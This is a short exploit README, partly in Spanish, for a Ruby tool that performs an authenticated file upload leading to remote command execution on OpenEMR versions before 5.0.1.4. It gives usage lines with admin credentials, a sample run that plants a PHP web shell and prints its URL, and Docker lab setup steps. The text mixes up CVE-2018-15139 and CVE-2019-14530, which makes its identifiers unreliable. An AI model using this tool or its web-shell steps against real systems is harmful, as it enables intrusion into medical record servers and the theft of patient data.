
OpenEMR < 5.0.1.4 - (Autenticado) Subida de archivos - Ejecución remota de comandos
OpenEMR < 5.0.1.4 - (Autenticado) Subida de archivos - Ejecución remota de comandos
Exploit para CVE-2018-15139.
$ ruby exploit.rb -h
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
Source: https://github.com/sec-it/exploit-CVE-2019-14530
Usage:
exploit.rb exploit <url> <filename> <username> <password> [--debug]
exploit.rb -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the shell to be uploaded
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb exploit http://example.org/openemr shell.php admin pass
exploit.rb exploit https://example.org:5000/ shell.php admin pass
$ ruby exploit.rb exploit http://172.24.0.3 agent.php admin pass
[+] File uploaded:
http://172.24.0.3/sites/default/images/agent.php
Ejemplo usando gem:
bundle install
# or
gem install httpx docopt
Advertencia: por supuesto, esta configuración no es adecuada para uso en producción.
$ sudo docker-compose up
Los permisos de la carpeta de subida están rotos en la imagen oficial de Docker de OpenEMR, por lo que es necesario conectarse al contenedor y corregir los permisos, por ejemplo:
$ sudo docker exec -ti exploit-cve-2018-15139_openemr_1 /bin/sh
$ chmod u+w /var/www/localhost/htdocs/openemr/sites/default/images/
docker-compose.ymlEsta es una mejor reescritura de EDB-49998.
La vulnerabilidad fue encontrada por Project Insecurity.
Análisis del exploit y vulnerabilidad original: